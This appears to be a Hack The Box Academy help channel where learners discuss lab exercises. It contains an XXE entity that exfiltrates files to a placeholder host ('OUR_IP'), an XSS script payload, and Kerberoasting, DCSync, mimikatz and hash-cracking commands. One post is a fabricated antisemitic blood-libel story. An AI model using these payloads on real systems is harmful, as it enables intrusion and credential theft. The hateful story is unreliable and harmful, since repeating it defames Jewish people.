hello everyone, i am checking XXE and i have a question: why we cannot just have this xml "<!ENTITY % oob SYSTEM 'http://OUR_IP:8000/?content=%file;'>" but we have to use double entities as follows <!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">?

[supple gorge]

Maybe try Try Hack Me. Or maybe TCM

[hallow kiln]

Tbh, there is nothing better on the market, I've done TCM, TryHackMe, and OffSec's OSCP course. No other resource is as detailed and in-depth as Academy.

If you're doing CPTS and struggling, then you're most likely missing fundamentals.

[next bronze]

I saw that they're doing the windows BOF module, which I agree is not great. the cpts modules are a lot better tho

[wind meadow]

can i get a hint with https://academy.hackthebox.com/module/112/section/1066 2nd question - i see flag.txt but don't have access

[hallow kiln]

I didn't see that part, but I'd also bet it's much harder if you're missing some fundamentals and don't have experience

[next bronze]

that is true

[wind meadow]

nvm i got it 🙂

[chrome lotus]

I was about to ask how you're missing access 😄

As far as I remember that section does not provide any specific credentials either

[wind meadow]

or not

[chrome lotus]

What kind of problem are you having? Can you show me the command(s) you are entering?

[wind meadow]

i got ftpuser's creds

but still cant get flag.txt

hrm

[chrome lotus]

Which credentials are you using exactly? There is a way to access the FTP server with no specific password

[wind meadow]

i can access with anonymous and ftpuser

[chrome lotus]

And what command are you using to try and read the flag once you connect with let's say "anonymous"?

[wind meadow]

get flag.txt

[chrome lotus]

That should work ^

Try resetting the target if it does not

[wind meadow]

ftp: Can't access `flag.txt': Permission denied

[chrome lotus]

Try running ftp as sudo

Or ftp from your home folder, should be fine too

[still spear]

nobody have time for a sanity check?

[wind meadow]

@chrome lotus oh derp.. was my local permission then.. thanks heh

[chrome lotus]

No problem!

[ivory jasper]

Hello hackers, I am working on nmap module. I am really confused about faking a source IP part. I really dont understand why the second one makes sense. When faking an IP address in nmap, the response of the target machine should be routed to the faked IP address rather than the attacker machine(The one I am using now), so why can I get more info than the one without specifying a faked IP?

[twilit wharf]

The Windows Privilege Escalation - Windows Server box seems to be quite buggy. Not only the smb_delivery used in the module does not seem to work but also other methods of file transfer (tried certutil, iex(new-object net.webclient).downloadFile(...), raw SMB server with impacket and net use, xfreerdp with a drive) fail as well.

Both HTTP and SMB connections to my host all seem to time out. What the hell is going on in this box?
Edit: sure I resetted the box already
Edit x2: no I dont have any firewall rules on my side

[next bronze]

maybe because it's running windows server 2008, thing's old. smbserver works for me

[twilit wharf]

how did you access your share? tried for example copy \\ip\share\file.exe .\here with no success

[next bronze]

I can dir it no problem

[twilit wharf]

I can dir it too

but no copy or exec

[lusty thicket]

check the commands you’re allowed to run as sudo 😉

[next bronze]

works for me

[wanton timber]

Anyone can help with: https://academy.hackthebox.com/module/80/section/779

Q2: Request a reset token for htbuser and find the encoding algorithm, then request a reset token for htbadmin to force a password change and forge a valid temp password to login. What is the flag?

I already found the the encoding, but stuck after that.

I tried to bruteforce the password for htbadmin but no success.

Any idea how to deal with this ? 🙂

TIA

[lusty thicket]

use the forged valid temp pass as the password for the htbadmin user

[twilit wharf]

yeah for me it creates a file with 0 bytes but then times out. Cant finish the module due to this frustrating box now

[next bronze]

reset

[wanton timber]

what do you mean forged valid temp pass, how will i able to know that

can i dm you ? @lusty thicket ?

[lusty thicket]

yes

[twilit wharf]

just reproduced your test, I can indeed copy a little text file (5 bytes) but larger files time out :/

[next bronze]

looks like the problem is your side, try resetting

[still spear]

have some time to help me ? need to take the last question for the Bug Bounty Path. Broken Authentication Predictable Reset Token Question 1 . i really run out of ideas what my Problem is.

1. Epoch time used with different Time zones
2. Fetch the date and use the same date on the Target Headers
3. run the Python script over Threads if the file gets deleted fast
   and so on...

if some have time i can share my code dont want to spoil it here.

thanks guys really want to finish this Path for the next machine release today

[twilit wharf]

Ended up using the pwnbox, no problems there 😄

[umbral fulcrum]

hey guys, maybe some can help me...

If I'm pivoting on port 1080 how can I capture the request on subnet host through burp?

for example:
pivot host: 172.16.8.50
target host 172.16.8.80:8080

[thorn urchin]

just put burp before your pivot

[umbral fulcrum]

What do U mean before?

[thorn urchin]

assuming youre using proxychains yeah?

[umbral fulcrum]

right...

[thorn urchin]

well, what do you think the chain in proxychains refers to 😉

[lusty thicket]

run as root using the sudo policy bypass technique covered in that section

[thorn urchin]

you can chain proxies

burp is just another proxy

[umbral fulcrum]

U mean to set the socks in burp?

[thorn urchin]

you can, or just add burp to your proxychains config

[proud patrol]

Hi guys, when preforming a zone transfer on domain X and ns Y, and we get the results, now is there a straightforward way to know the number of zones on the NS (if this is correct to say);
or one have to do another axfr query on each returned FQDN to know the number of zones?

[acoustic owl]

you cannot recognize the number of zones only on the basis of records received back

https://www.cloudflare.com/learning/dns/glossary/dns-zone/

[rustic sage]

Hey guys I am trying to ssh to a target. But the machine is always unreachable

[next bronze]

I'm checking this but need to write the script first

[rustic sage]

I am doing Linux fundamental

[umbral fulcrum]

not sure what u mean,

the socks5 proxy didn't worked out for me ....

[buoyant escarp]

burp is using http/https proxies right?

[umbral fulcrum]

right

just add 8080 after the 1080?

[buoyant escarp]

I havent tried using burp over a pivot before, but at least u could try

[still spear]

Can send you mine of you Need

[umbral fulcrum]

no sure what u mean,
I'm trying but without success.
That Y I'm asking, If it would work then the Q is kind of pointless don't u think?

[dusk mountain]

hi pls what is proxy ?

[buoyant escarp]

As far as i know you can setup proxychains inside of burp, thats using socks5. Ofc u need to start tunnel to pivot by your own

[acoustic owl]

https://en.m.wikipedia.org/wiki/Proxy_server

[dusk mountain]

thank toy so much

[umbral fulcrum]

I did, something is missing ...

I did tunnelling (that's Y I can see the web which is in subnet) but I can't get the config of the socks5 in burp...

[buoyant escarp]

Did you try a dynamic tunnel? Bc the pivot most likely doesn’t have a listener on 8080

https://romanenco.medium.com/tunnel-traffic-through-jump-host-988797fea588

[full nimbus]

Hi all, is there any equivalent of snaffler that runs in linux ?

[umbral fulcrum]

did it ...

[umbral fulcrum]

also followed this one:
https://dev.to/adamkatora/how-to-use-burp-suite-through-a-socks5-proxy-with-proxychains-and-chisel-507e

[next bronze]

netexec

[full nimbus]

not sure what you try to do, but if I were to use burp + pivoting, I'd use ligolo. Because ligolo uses a tunnel interface + static routes, if burp is running on the same system, it will go through that tunnel

[full nimbus]

Any specific plugins ? i know spider_sense that list readable files but havn't found sth else

[next bronze]

what info are you trying to get?

[full nimbus]

Trying to find a tool that does what snaffler does, that is look for passwords in files on smb share, but that can run on linux 🙂

that's just out of curiosity, I managed to run snaffler

[next bronze]

oh that would have to read every file, don't know of any

[strange fjord]

Breaking News! Secret tunnels found under Chabad Lubavitch Synagogue in Brooklyn, NY. Child-sized blood-stained mattresses were found along with a baby high chair. It is believed these tunnels were used to traffick children and drugs. 10 Arrests were made after a riot broke out when NYPD arrived on the scene. DM For details and links.

[full nimbus]

cool story bro

[solar pecan]

hey guys.. a question. Do you experienced any latency issues between pwnbox and rdp connection on the target PC ?

to many disconnections

[snow ridge]

In module: ACTIVE DIRECTORY ENUMERATION & ATTACKS and section: DCSync. I can't do DCSync attack with secretsdump.py, I keep getting error:

Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

Password:

[-] [Errno 13] Permission denied: 'inlanefreight_hashes.ntds'
[*] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...```
But with mimikatz I have no problems.

[next bronze]

you have no write permissions to the current dir

[snow ridge]

I launched new powershell as adunn user. Then SSH'd into linux and now it works

Doesnt make sense to me

[full nimbus]

chmod a+r inlanefreight_hashes.ntds

[snow ridge]

I retraced all my steps and works perfectly now. Problems was that I did not have write perms on current dir.

[analog dock]

You can open them and check if they’re the same 🤷🏼‍♂️

I think you were executing it from the opt folder where you have no write permission

[snow ridge]

Yeah I think you are right

[full nimbus]

me again 🙂 I managed ot get system shell on SQL01 (AD Enum Attacks Skill assess 2), but now i'm not sure what's the next step

[lusty thicket]

😉

[analog dock]

Get bloodhound data from the sql01 system shell

See if you find something interesting

[full nimbus]

Thx will try, thought bloodhound collector needs to run into domain user context

[next bronze]

oops was busy with something else, also trolled myself by automating it, you can dm

[full nimbus]

so after struggling for 1 hour to get the generated BH content (ended up using netcat) I don't really see what I can do.

[analog dock]

What’s the question you need to answer

[full nimbus]

Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

[analog dock]

Exactly

So look for the path from sql to ms

[analog dock]

Strange, for me it showed a “hassession”

[full nimbus]

I have no outbound objects from SQ01

[analog dock]

Anyways, mssqlsvc can log in to ms01

It showed me from the data I collected

[next bronze]

I don't think a machine can have session on another machine

[full nimbus]

you collectred with sharpound ?

[analog dock]

Not sure why you don’t have it in your bloodhound data

[analog dock]

If I remember correctly yes

[analog dock]

MSSQLSvc is not a machine, it’s a user

[next bronze]

yeah but they didn't search for edges between MSSQLSvc and ms01

[analog dock]

I’m fairly sure it showed me the path from sql01 to ms01

MSSQLSvc user from sql01, that has a session on ms01

[next bronze]

I'm not too sure but I think this search for first degree edges only

[analog dock]

I believe my bloodhound version was different as well

[next bronze]

for any edges use

MATCH (obj1), (obj2) WHERE obj1.name = '<name>' AND obj2.name = '<name>' AND NOT obj1 = obj2 MATCH p = shortestPath((obj1)-[*..10]->(obj2)) RETURN p

[analog dock]

At least I didn’t do it like that

[full nimbus]

I use BLoodHound CE

[full nimbus]

so I guess mimikatz to dump some tickets ?

[analog dock]

Go ahead and try

[analog dock]

I use regular bloodhound still

[full nimbus]

I might want to install it, I think the new CE is more fancy, but either that's me or some features are missing

[next bronze]

rn CE is really only useful if you know how to write your own queries, most of the baked in queires are missing

[cold pilot]

hello everyone, is everyone done the module called INJECTION ATTACKS ?

[full nimbus]

Alright then, I think i'll stick to old bloodhound til my brain accept to process those cypher stuff 😄

thks guys

[twilit wharf]

can I get a hint on the credential search part of Windows Privilege Escalation Skills Assessment - Part I ? I think the creds will have to do with the installation of Apache Directory Studio but cant find them

[cold pilot]

no one completed the module called INJECTION ATTACKS? is from the web senior penetration tester new learning path

i am on my last skill assessment and i am legit stuck

[full nimbus]

As a side note, it seems this could have helped too 🙂

c:\Users\Administrator\Downloads>qwinsta
qwinsta
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
>services                                    0  Disc
 console           mssqlsvc                  1  Active

[cold pilot]

if anyone has completed the module called INJECTION ATTACKS from the new learning path of Web senior penetration tester please kindly DM me. Thank you for your help.

[acoustic owl]

What exactly is the problem?

[analog dock]

Don’t know what this is

[full nimbus]

it's mentioned in ad module, in "Living Off The Land". Shows sessions to the host

[analog dock]

Ahh👍🏼

[cold pilot]

@acoustic owl I am on my last skill assessment and I'm having an issue with the injections attack module, I am using this payload to obtain the flag [ <iframe src="http://127.0.0.1:8000/users" width="800" height="500"></iframe> ] however the /users doesn't seem to exist, I tried api/users still nothing, I am not sure where to look for the flag. I can run an LFI script in order to read etc/passwd and sure if i get the path for the flag I can read it, although I am not so sure what am I doing wrong?

[acoustic owl]

Since you can use LFI, you can also read ||the PHP code. ||

Please send such spoilers with spoiler tags

[cold pilot]

sorry, I am new here, apologises. may I directly message you? is it possible?

[acoustic owl]

No problem, nothing happened 🙂
Sure, send me a DM

[cold pilot]

thank you 🙂

[vivid glade]

sorry for asking here but i am new on this server and idk where i can ask for Machines i know this is HTB academy

[fathom pendant]

Honestly web challenges are gonna be your closest proxy

[fathom pendant]

Read #welcome

[acoustic owl]

#boxes

[vivid glade]

thanks i didn't read that

[thin tulip]

Hopefully a simple fix but for the "Exploiting Web Vulnerabilities in Thick-Client Applications" module, I can't see the open button. I'm using the pwnbox and have maximised the app but I don't see anything at the bottom of the app window.

I think that walkthrough is related to the previous module. This is the module which has a SQL injection in a fat client.

My problem is basically that I can't see an open file button in the app window from the pwnbox.

[next bronze]

that is the Fatty box

[thin tulip]

yeah. Maybe this is the wrong channel but I should see something like this in the screenshot. I'm not sure if this is just a pwnbox issue.

[next bronze]

it's the right channel, the content is based on the fatty box, following a walkthrough of that would be your best bet

[acoustic owl]

I completed the module a long time ago, but I would still be interested to see how you solved it

[next bronze]

sure I'll dm you the script

[dull hamlet]

did you find a response to this? I can't explain it either. Is this a mistake in the module?

[sinful tide]

Hi so about the module cracking passwords with hashcat my PC does not have a graphic card so cracking passwords takes ages so I wanted to know if there were free online solutions to crack passwords like we were able to do with Google colab

[next bronze]

your pc will have a graphics card, else you won't be able to see anything, how fast is it is another question. and you won't find places that crack hashes for you for free, it costs money to do that

[full nimbus]

tehre's free tools that have a lot of pre-cracked pass though like crackstation

[sinful tide]

No I mean besides the pre built one, yes but like there might be some places that let u use a good graphic card like Google colab

[full nimbus]

Havent don't that last part, but I noticed using Responder at 1st step of this assessment that it was not printing the hashes into the termianl, because it was saying it's known hash. I had to check the Responder log to get the hash. Could be sth similar ?

[next bronze]

if you find one let me know, I would love some free gpu power

[sinful tide]

There is google colab but they will ban u if u use hashcat with it

[full nimbus]

I guess you can use the 200$ gcp gives you when you create an account and get some VM with NVidia ML chips 😄

[dull hamlet]

NMAP module from HTB Academy says an "NMAP Connect Scan (-sT) is also useful when the target host has a personal firewall that drops incoming packets but allows outgoing packets. In this case, a Connect scan can bypass the firewall and accurately determine the state of the target ports. "

I find this confusing because if the firewall drops incoming packets (the initial syn packet) then the firewall wouldn't send an outgoing (syn-ack) anyways. So why is it saying a connect scan can bypass a firewall?

[next bronze]

#modules message
but it's a good point, if it drops every incoming packet, the scan mode wouldn't matter

[full nimbus]

I think it makes sense if you have a firewall on the scanning host, becuase using system API will allow tcp/syn ack to be dynamically allowed

so maybe it should be attack, and not target host ? https://nmap.org/book/scan-methods-connect-scan.html

[lusty thicket]

can i dm you for the script?

[next bronze]

it's not a poisoned request, we just captured a SMB NTLMv2 challenge/response directed to that host only

[next bronze]

sure I'll send it

[dull hamlet]

I don't get it. sounds wrong to me

[dire granite]

hello i'm doing the linux fundamental module i'm in the filter contents section and i'm stuck at the question
"Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer."

i use the command ||grep "https://www.inlanefreight.com*/" test | uniq| wc --lines||

[next bronze]

yep, the script to run that action is in C:\Users\Public\Documents\ on DC

[next bronze]

combine what you have learned in that section, you'll need tr and grep

[buoyant escarp]

Password Attacks / Mutations
i mutated the provided passwords with the the given rules with hashcat
i try to brute user sam with hydra on shh and ftp, takes ages, still no valid pw, am i missing something or do i just need to be patient? 😄

ok got it after more than 20 mins with 48 threads

[placid edge]

anoyne here understand why this command doesnt dump the kerberos tgs ticket?

proxychains impacket-GetUserSPNs -target-domain inlanefreight.local inlanefreight.local/ -request-user SAPService

[next bronze]

did you give user:pass? also you need the domain added in hosts, try with -dc-ip <ip>

[placid edge]

oh shit

i swear i added that

this still doesnt work

proxychains impacket-GetUserSPNs -dc-ip 172.16.5.5 inlanefreight.local/ -request

i tried the exact one on the cource as well

if there is any difference

[next bronze]

what's the error

[placid edge]

also without proxychains but in the ssh connection

[-] invalid principal syntax

[next bronze]

yeah cause you didn't give user:pass
GetUserSPNs.py '<domain>/<usernanme>:<password>' -dc-ip <ip> -request-user <username>

[placid edge]

i dont have any valid creds i belive

for the dc

only ssh

[next bronze]

you can't kerberoast without domain creds

[fathom pendant]

^

The ad modules use the same creds over again

Fwiw

[placid edge]

thats what confusing me, since in the cource it just uses GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request

i realize forend is a user but i dont see a password

[fathom pendant]

Which you should have his password

From another point in the module 😉

[placid edge]

ah jesus

i havent saved any creds

[fathom pendant]

You should always save creds

Password Attacks should have been a good lesson in that lol

[placid edge]

lol

i too experienced pain there

[next bronze]

it should be in the earlier section

[placid edge]

got it

thanks!

[dire granite]

i got it with this command ||grep -o 'https://www.inlanefreight.com[^"]*' test | sort -u | wc -l||but i searched on internet and used regex and at this section I was supposed to do it without knowing what is regex can someone give me an idee on how to do it without regex

[next bronze]

use tr and grep like I said

you can use tr "'\"" "\n" to separate the html elements sand grep the url, then sort unique and count

[dire granite]

oh thanks I would never have thought of doing that

[next bronze]

[woven copper]

Hello there , for those who have made "SMTP Header Injection" on HTTP Attacks , is mail.smtpinjection.htb working properly ? i could not see any emails, thanks an advance
Edit: restart lab solved

[abstract crystal]

cock

[fathom pendant]

Great contribution

[viscid cedar]

How do you figure out what is left to do in a module? I've gotten all the way to the end of the Windows Privilege Escalation module. Everything is checked green but when I click finish and go look at my Modules it still shows as in progress. If I click continue it just brings me to the first page of the module.

[next bronze]

click the mark complete button at the bottom right

[viscid cedar]

The last page doesn't have a mark complete. It has a Finish. When I click Finish, it brings be to the module home page. It shows a progress bar that is almost all green except for a bit at the end, and a green continue button.

[next bronze]

then you probably missed a section somewhere, check the table of contents, they should all have a green checkmark

[marsh echo]

I did copy the hash but I don't understand why it's acting up. i use hashcat -m 7300 -a 3 --username ./hash.txt footprinting-wordlist.txt but nothing

[next bronze]

attack mode 3 is for masks, if you're using a dict it should be 0

[marsh echo]

i use 0 too but nothing :/

[next bronze]

nothing means what? what's the error

[next bronze]

it's not in the wordlist then, use a bigger one like rockyou

[marsh echo]

OWwwwwh thanks bro 😭

hashcat -m 7300 -a 0 --username ./hash.txt /usr/share/wordlists/rockyou.txt

this is run

[indigo locust]

PASSWORD ATTACKS >> Credential Hunting in Linux >> Credential Hunting in Linux >> Examine the target and find out the password of the user Will. Then, submit the password as the answer.

Hello guys. I have SSH'd to kira and have found the password through hydra. Now I'm not sure what to do and how to get the password for Will. Can someone please help?

[jaunty latch]

Hey, I'm doing the Intro to the Windows command line. Having a hard time understanding the "Finding & filterint content" section. To be more specific this is what I'm strugling to understand. Does anyone have a better explanation or maybe a yt video that goes through this specific section? https://i.imgur.com/LEcMjLj.png

[supple gorge]

When the loner it goes, the longer it takes.

I'll do it the smarter way now lol... i was just running it on the background, but this is pretty funny

[next bronze]

these are common elements in object oriented programming(OOP), you can google/watch videos on what each term means and how they are used in OOP

[next bronze]

set a limit on it so it wouldn't take as long, -T4 or --min-rate 1000

[supple gorge]

oh, what does that do?

I did the "smart" way and already got my output.. just wondering what your suggestion does

[next bronze]

https://nmap.org/book/man-performance.html
https://nmap.org/book/performance-timing-templates.html

[supple gorge]

oh, maybe that's in the next section called "performance" lol

[jaunty latch]

Thanks

[supple gorge]

thanks

[next bronze]

first letter should be caps

[strong saffron]

nope i tried that now and thank god it doesn't work 😆

[next bronze]

oh it's a l

did you type that out by hand?

[strong saffron]

yea that was a correct answer thank you

[next bronze]

should delete that first message

[indigo locust]

still looking for any tip. Any help is appreciated!

[next bronze]

firefox

[viscid salmon]

Hey all, can someone help me with the XSS - Phishing lab?
I'm not getting the provided site to allow for multiple DOM Commands.
I've tried copy/pasting the documentation and fiddling with this on my own most of the day.

Thanks if advance.
I apprecaite it.

[indigo locust]

can you explain further please?

[next bronze]

read back the section

[next bronze]

wdym by multiple dom commands? following the example given will get you pretty close

[lusty hearth]

can someone please help me with the 'Advanced XSS and CSRF Exploitation' - 'CORS Misconfigurations' section? I am having a hard time understanding the challenge.

[viscid salmon]

If I understand correctly, I can combine the **document.write('...') ** and document.getElementById('urlform').remove() into one line. The two commands are separated by a semicolon ';'.

I can get the first command to work, but whenever I add the second, separated by the semicolon it fails and outputs the second command onto the webpage.

Thanks for the quick follow-up and I hope I explained what I'm going through well enough.

[next bronze]

escape the <img src=''/> and put your xss payload in a script tag

'/><script>document.write('...');document.getElementById('...')</script>

reading the page source will help you here

[viscid salmon]

Hey once again thank you for responding!

I was running

' onerror=<script>document.write('...');document.getElementById('...').remove()</script>

The forward slash is cool, thanks for that!

I see that with your command, we are closing the image tag all together and then opening a script block.
Thanks for your quick and detailed help @next bronze !
I really appreciate it

[quick crane]

if you sovled this can I dm you I need help to sovled this

[supple gorge]

This, under Scan by using a different source IP:

sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0

Uses 10.129.2.200 as the source ip, and sends things trough the tun0 interface.

How would this work? how would the packets get back to us since it's using a different source address (from a networking point of view)? Is there some inherent pivoting I'm not getting?

[manic ermine]

Anyone able to help with the advanced xss and csrf module? Specifically the SameSite cookie bypass question on the Misc CSRF Exploitation page. I think I understand the content, but I am struggling with the lab because the profile page just redirects to login and I can't verify the correct way to "promote" my user to admin.
It seems to hint at making use of the client-side redirect, but that doesn't seem to work for me.

[indigo locust]

So far I think I'm supposed to download firefox dcerypter onto target machine but python file server does not run on the target machine...?

how can I transfer files from attack machine to target machine with python file server?

nvm I just copied the python code straight from attack machine, created a file onto target machine and pasted the code in a file on desktop directory.

[latent harness]

Can anyone tell what's wrong in this?
curl "https://www.inlanefreight.com" | grep "https://www.inlanefreight.com/" | sort -u | wc -l 2>/dev/null

[plucky latch]

So I am on Attacking Common Services Easy, I was able to get the flag but there are multiple ways to get the flag and the second way is unknown to me, I would love if someone who has completed this can message me and we can discuss the way I solved it and potentially the second way I dont know about.

[manic ermine]

For anyone stuck in future with the question about bypassing samesite cookies - the answer is indeed the client-side redirect. Payload delivered via the exploit server. The issue I had was that the php session cookies weren't being applied for some reason! I had to manually create the session cookie in the header for the request to profile.php in order for it to work. Not sure if this was an intended thing to make it harder, or something weird with the way it works with firefox, but either way, should save others in future the time I spent going down rabbit holes thinking I had done something wrong haha

[next bronze]

I don't think it will actually work
https://nmap.org/book/man-bypass-firewalls-ids.html

Note that you usually won't receive reply packets back (they will be addressed to the IP you are spoofing), so Nmap won't produce useful reports.

[next bronze]

run the command without wc -l

[next bronze]

probably just referring to different ways to get access, add user, revshell, etc

[plucky latch]

Thanks, didnt know if there was an additional "in" I wasnt tracking

[next bronze]

not that that I'm aware of

[latent harness]

why? I need to count the number of results

[next bronze]

so that you know what's wrong with it?

[latent harness]

uh so it gives me this

curl -s "https://www.inlanefreight.com" | grep -oE "https://www\.inlanefreight\.com[^\"']+" | sort -u | wc -l
this is the thing that is correct but Idk why

[wooden echo]

Hey guys I am working on finishing the Introduction to Windows Command Line. I have made it all the way to the skills assessment, but how do I complete this task? "For this level, you must successfully authenticate to the Domain Controller host at 172.16.5.155 via SSH after first authenticating to the target host. This host seems to have several PowerShell modules loaded, and this user's flag is hidden in one of them."

I can't find any additional resources online and am completely stuck to what to do. How do I ssh into the domain controller? How do I find the username to be able to ssh? I logged into user7 but can't do the DC

[next bronze]

[^\"']+ matches until single or double quotes
https://regex101.com/

[tender grail]

I am stuck in the Introduction to Digital Forensics course's 1st question .I finished the entire exercise, and I must find what is the name of the first scheduled task of Velociraptor. That name is nowhere to be found and I pointed it out to HTB. Am I the only ine?

[latent harness]

ok, thx

[nimble yoke]

hello im new to the server. not sure if this is the right place to ask a question but trying to do the starting point Meow module, but every time i run the nmap command on the vm provided by HBK, it does not show me ports. Not shown: 1000 filtered tcp ports (no-response) and all 100 scanned ports are in ignored states. when i do nmap on google and others, it shows the ports.

is it me or the machine bugged or something

[acoustic owl]

The best place to ask questions about the Starting Pint is here #starting-point
If you don't have access, then read and follow #welcome

[acoustic owl]

This Question?

Visit the URL "https://127.0.0.1:8889/app/index.html#/search/all" and log in using the credentials: admin/password. After logging in, click on the circular symbol adjacent to "Client ID". Subsequently, select the displayed "Client ID" and click on "Collected". Initiate a new collection and gather artifacts labeled as **"Windows.KapeFiles.Targets" **using the _SANS_Triage configuration. Lastly, examine the collected artifacts and enter the name of the scheduled task that begins with 'A' and concludes with 'g' as your answer.

For this question you have to do the same as explained in the lesson, but with the parameters specified in the question.

[tender grail]

I did. I succeeded. Several times No word starting with 'A' and finishing with 'g' appears at any point.

[acoustic owl]

You're probably looking in the wrong place

[tender grail]

I am sure you are right. What I do is - as advised - reproduce what is demonstrated in the lesson, and I manage to do it. I looked at every screen, every tab: If that is not the right place, what is?

[marsh echo]

hi everyone, did anyone pass the footprinting medium? i found a lot of info but i can't connect to the mssql server, i did the mount on the samba server and i found some info there, i tried to connect with cred that i found to rdp it doesn't work i don't know what to do ...

https://academy.hackthebox.com/module/112/section/1079

[sleek moss]

hi guys

why cant i Import-Module .\Invoke-TheHash.psd1
im on password attacks

im in the c:\tools\invokethehash

i run the cmd import and nothing shows up then i push the normal cmd with the module then ti says Invoke-SMBExec : The term 'Invoke-SMBExec' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:1

• Invoke-SMBExec -Target DC01 -Domain INLANEFREIGHT -Username julio -Ha ...

•   + CategoryInfo          : ObjectNotFound: (Invoke-SMBExec:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

it dont connect back to me

[acoustic owl]

You have to create a new collection with the parameters of the question. Then look in the path where the Schedule Tasks are stored.

[tender grail]

Well, OK for the collection: I created it. But I am sure I have no idea what "path where the scheduled rasks are stored" you are referring to: nothing of the sort appears. But I also understand that this is as far as I can bother you with this question. I think I will just go hit my head againt the wall a bit more 🙂 Thank you for your help all the same: much appreciated.

[acoustic owl]

Just use google
For example || https://superuser.com/questions/1656494/where-are-scheduled-tasks-stored-in-an-offline-windows-10-partition-hard-drive ||

[full nimbus]

Hi folks, i'm trying to use the "old" bloodhound version for AD Module, however I can't upload files. I tried both from Kali or a Windows machine (neo4j db is on kali though) and upload is stuck at 0%. Any tips ?

[acoustic owl]

The Data Collector (eg. Sharphonund) and the version of Bloodhound must match.

[tender grail]

Thank you very much again. I thought the answer was to be found while I was going through the motions described in the lesson. I was obviously mistaken!

[acoustic owl]

The lesson shows the concept and the technique. The questions are structured so that you have to apply the concepts and techniques yourself. This way you can also check whether you have understood everything correctly

[tender grail]

Well, then I am a lost cause: after going through the 3xercise 10 times I still do not understand where the answer can be found

[acoustic owl]

Send me a DM and I will try to guide you. I don't want to spoil anything here

[full nimbus]

Ok I'll try with proper collector then, but shouldn't it show an error rather than just hang ?

[marsh echo]

anyone ?

[acoustic owl]

RDP should work with the creds. Do you have the right creds?
|| User A***? ||

[undone narwhal]

Hint: ||smb||

[full nimbus]

Works now thanks mate 🙂

[hasty cliff]

need help of mudules which are unlocked

[full nimbus]

@analog dock @next bronze FYI I checked with older bloodhound 4.3.1, it does not find path from SQL01 to MS01 (For AD Attacks enum skill 2 assessment). Shows no sessions in legacy bloodhound either. Marking SQL01 as owned makes no diff.

[hasty cliff]

@full nimbus can u help me out with this?

[full nimbus]

I don't understand your question 🙂

[hasty cliff]

How to start

[full nimbus]

https://academy.hackthebox.com/faq

[hasty cliff]

where to start HTB or HTB accadmy

[marsh echo]

yess i use a tools remmina i was able to connect now i'm blocked on the mssql server connection

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[acoustic owl]

Your user obviously has no rights to do this. Find more ways 😉

[marsh echo]

i run it as admin ? but i dont have a password

[acoustic owl]

Sometimes users/admins are lazy and use the same password for different accounts

[marsh echo]

i use a password by alex but nothing

[fathom pendant]

try looking around the filesystem for an IMPORTANT FILE

[umbral fulcrum]

hey guys, someone up for helping me with Double Pivot?

[marsh echo]

Okay, I'm looking for

[full nimbus]

Me again (still SkilL2 assess AD Enum / attacks) , I've dumped the MsCacheV2 hash of mssqqlsvc user on SQL01 using mimikatz # lsadump::cache however I can't crack it with hashcat + rockyou. Tried to use this hash directly has well with winrm but didn't worked

some pointer would be welcomed 🙂

[tender grail]

Sorry. What is a "DM"?

[acoustic owl]

Direct Message

[umbral fulcrum]

hhhmm
then no??

[full nimbus]

@umbral fulcrum what do you need ?

[feral geyser]

I need cobalt assessment report

[umbral fulcrum]

I did "The Double Pivot" as mentions in the "Attacking Enterprise Networks" modlue ==>> "Post-Exploitation" section

on a different environment but it doesn't work, I'm kinda lost on it

[marsh echo]

flag ^^'

[full nimbus]

So I used sekurlsa::logonpasswords instead, and got a hash for PTH in the end 🙂

[marsh echo]

medium it's hard so what will the hard level be lol

[fathom pendant]

read the engagement carefully it'll definitely help understand what the missing pieces may be to start off

[full nimbus]

Haven't done this module, but an important thing to remember is let's say you have box A <=> B <=> C. Box C doesn't have a route back to box A. You need to use B as a relay somehow, ligolo / chisel can listen on a port that would forward back to A, which is kind of doing a network PAT

[umbral fulcrum]

yes
actually I have box D also ...

[full nimbus]

then C could be a relay to B etc ...

[marsh echo]

yess i had read it but i went into a dead end at the beginning of my enumeration thinking i had to connect with the rpc client then i wanted to connect to xfreerdp it didn't work and i did my research on the wonderful remmina tool and it saved my life

[hasty cliff]

anyone have all modules of HTB Acadamy ?

[fathom pendant]

maybe? there's a fair bunch of em ¯_(ツ)_/¯

[hasty cliff]

shall u provide

[fathom pendant]

no, that's against ToS

[hasty cliff]

[fathom pendant]

besides: if you're looking to do the certification exams: you're gonna have to do them on your own account

[hasty cliff]

no i need modules to learn

[fathom pendant]

the tier 0 modules are all free

for basics

[hasty cliff]

i finished it

[fathom pendant]

and relatively speaking Academy is cheaper than most other paid platforms

if you're a uni student and have an academic email ==> that's the best deal

[hasty cliff]

but i dont have a single penny

[fathom pendant]

skill issue then

[acoustic owl]

Then you have no choice but to buy cubes or take out a subscription

[hasty cliff]

where is it

[fathom pendant]

?

i'm talking about having an email provided by your university

[umbral fulcrum]

yes I did

but dones't work 😦

[hallow kiln]

Are you a student and do you have a student email?

[hasty cliff]

what is student mail

[hasty cliff]

no idont have

[fathom pendant]

then get a job or find someone to pay for the sub for you ¯_(ツ)_/¯

[hasty cliff]

there is any opt to get it free

[fathom pendant]

nope

[hallow kiln]

Then there's nothing that can be done, save up some money, if you're not a student, platinum sub is the best deal. In the meantime, there are other platforms with free content

[fathom pendant]

occasionally HTB does giveaways

[hasty cliff]

that needs skills

[fathom pendant]

but also: if you find a bug on the platform and report it you can maybe ask for one

[hasty cliff]

@fathom pendant can u teach me

[fathom pendant]

?

not for free

[acoustic owl]

https://www.hackthebox.com/blog/htb-seasons-announcement

[hasty cliff]

reallly

[fathom pendant]

really

